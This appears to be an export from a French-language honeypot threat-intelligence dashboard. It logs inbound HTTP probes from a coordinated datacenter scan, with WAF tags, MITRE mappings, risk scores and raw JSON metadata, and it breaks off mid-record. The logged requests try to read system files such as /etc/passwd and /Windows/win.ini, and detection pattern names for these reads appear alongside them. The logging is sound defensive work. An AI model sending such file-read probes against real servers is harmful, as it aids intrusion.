31/07/2026 15:48:44 UTC
TCP
8880 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8880 · (tentative d'exploit) · → /etc/passwd
Élevée
Élevé · 69
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /etc/passwd UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950264:lfi-1
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/etc/passwd
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8880
Chemin / cible
/etc/passwd
Pourquoi cette classification : Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 69
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1083
pat-0716
pat-0802
pat-0137
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930160 etc passwd
MITRE T1083 file enum
SSRF Any-address SSRF
LFI path /etc/passwd
Ligne de requête
GET /etc/passwd HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /etc/passwd HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8880
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh;
Requête brute (extrait)
GET /etc/passwd HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8880 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "c3a8697c6c279a95f0caf2b5f47944b1de8a6733",
"http_target_hash": "b5cc3f676d00dd320d85ef41a5209fa0a99891ea",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 226,
"payload_entropy": 5.413752008561128,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8880,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 69,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "00250149a24c15b11bf6a636fbe488b4ac841fa7",
"event_fingerprint": "9e1b29f4b0a2a335be45890d45c2b208a2bfce2d",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 344,
"precision_signals": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137",
"CRS-930100-sub"
],
"kb_rule_ids": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0716",
"pat-0802",
"pat-0324",
"pat-0137"
],
"matched_pattern_names": [
"CRS 930160 etc passwd",
"MITRE T1083 file enum",
"SSRF Any-address SSRF",
"LFI path \/etc\/passwd"
],
"pattern_ids": [
"pat-0716",
"pat-0802",
"pat-0324",
"pat-0137"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "13eef5381293fb4c62fcad9d69309394",
"path_pattern_hash": "74acf31844532670be412c65b8251ee5"
},
"target_context": {
"dst_port": 8880,
"service": "http",
"service_name": "http",
"risk_score": 69
},
"payload_preview": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"method": "GET",
"path": "\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"evidence": {
"method": "GET",
"path": "\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d5c44170c0b231ec7ed6eb35e8aed8c3edfbd9f2",
"protocol_details": {
"http_method": "GET",
"http_path": "\/etc\/passwd",
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8880,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8880 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd",
"target_port_label": "8880 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 69,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8880,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137"
],
"tags_summary_labels_fr": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/etc\/passwd",
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8880,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8880 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd",
"evidence_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"target_port_label": "8880 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8880"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 3,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:48:44 UTC
TCP
8880 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8880 · (tentative d'exploit) · → /Windows/win.ini
Élevée
Élevé · 68
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /Windows/win.ini UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950264:lfi-1
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/Windows/win.ini
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8880
Chemin / cible
/Windows/win.ini
Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0715
CRS-930100-sub
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930150 boot ini
SSRF Any-address SSRF
Ligne de requête
GET /Windows/win.ini HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /Windows/win.ini HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8880
Accept: */*
User-Agent: Mozilla/5.0 (Macin
Requête brute (extrait)
GET /Windows/win.ini HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8880 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "ini",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "c3a8697c6c279a95f0caf2b5f47944b1de8a6733",
"http_target_hash": "b5d2bf3ef60b3bbf03ffbca44323fac1d6d4719a",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 231,
"payload_entropy": 5.4252956731138715,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8880,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 68,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "51293f8058af41ba349840710c5e3aed6d612671",
"event_fingerprint": "d30e35ee5da35622dad6dd2bb2275a46bf89b3bf",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 146,
"precision_signals": [
"pat-0715",
"CRS-930100-sub"
],
"kb_rule_ids": [
"pat-0715",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0715",
"pat-0324"
],
"matched_pattern_names": [
"CRS 930150 boot ini",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0715",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "105225b11c2218526a57f7c3df96b099",
"path_pattern_hash": "4a136e1e1f4d3c20d824eefa8bc8174c"
},
"target_context": {
"dst_port": 8880,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"method": "GET",
"path": "\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"evidence": {
"method": "GET",
"path": "\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d5b4a263c6f25549b9a3fed1af516c2f0ae0291d",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Windows\/win.ini",
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8880,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8880 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Windows\/win.ini",
"target_port_label": "8880 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8880,
"protocol_emulated": true,
"tags_summary": [
"pat-0715",
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"pat-0715",
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Windows\/win.ini",
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8880,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8880 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Windows\/win.ini",
"evidence_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8880\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"target_port_label": "8880 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8880"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 3,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:46:23 UTC
TCP
8888 · HTTP
SSRF interne
ssrf internal · via HTTP:8888 · (tentative d'exploit)
Élevée
Moyen · 55
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8888
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 55
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
HTTP alt 8888 probe
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8888
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8888 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "25a58e7d7f0ed40aadf0d51b038172ea9ccc8435",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.357729020258063,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8888,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.9,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 55,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "e11c1b827d438ca6f81f14ef35ff35f7c31ff992",
"event_fingerprint": "d96673c00b57d970f6555d6dff66c77e09351a74",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324",
"pat-0599"
],
"matched_pattern_names": [
"SSRF Any-address SSRF",
"HTTP alt 8888 probe"
],
"pattern_ids": [
"pat-0324",
"pat-0599"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 55,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "e4f1deb97dadb03be2696e7018622f71",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8888,
"service": "http",
"service_name": "http",
"risk_score": 55
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
